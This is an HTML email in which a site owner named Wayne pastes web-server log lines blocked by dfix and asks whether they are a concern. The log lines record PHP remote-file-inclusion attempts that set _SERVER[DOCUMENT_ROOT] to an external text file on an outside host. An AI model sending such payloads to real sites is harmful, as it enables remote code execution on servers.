<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:Tahoma
}
--></style>
</head>
<body class='hmmessage'><div dir='ltr'>
Typically I haven't taken the time to monitor all my log files. <br><br>but recently I've been paying more attention to them. <br><br>this is the log from dfix:<br><br><pre>Warning: Blocking 210.127.253.246
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:50:39 -0400] "GET ////?_SERVER[DOCUMENT_ROOT]=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 301 - "-" "Mozilla/5.0"
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:50:38 -0400] "GET /?p=1693////?_SERVER[DOCUMENT_ROOT]=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 200 24991 "-" "Mozilla/5.0"
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:50:40 -0400] "GET /?_SERVERDOCUMENT_ROOT=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 200 21696 "-" "Mozilla/5.0"
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:52:05 -0400] "GET ////?_SERVER[DOCUMENT_ROOT]=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 301 - "-" "Mozilla/5.0"
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:52:06 -0400] "GET /?_SERVERDOCUMENT_ROOT=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 200 21696 "-" "Mozilla/5.0"
<a href="http://www.wrmichael.com/" target="_blank">www.wrmichael.com</a> 210.127.253.246 - - [14/Sep/2011:18:52:24 -0400] "GET /?p=1693////?_SERVER[DOCUMENT_ROOT]=<a href="http://www.hackorea.com/d1.txt???" target="_blank">http://www.hackorea.com/d1.txt???</a> HTTP/1.1" 200 24991 "-" "Mozilla/5.0"<br><br><br><br>Not really sure what it means other than it blocked the IP address. <br><br>?p=1693 is a valid link on my site, does that mean this is the page they tried to take over and they are coming from hackorea ? <br><br>anything to worry about? <br><br>Thanks,<br><br>Wayne<br><br></pre><br> </div></body>
</html>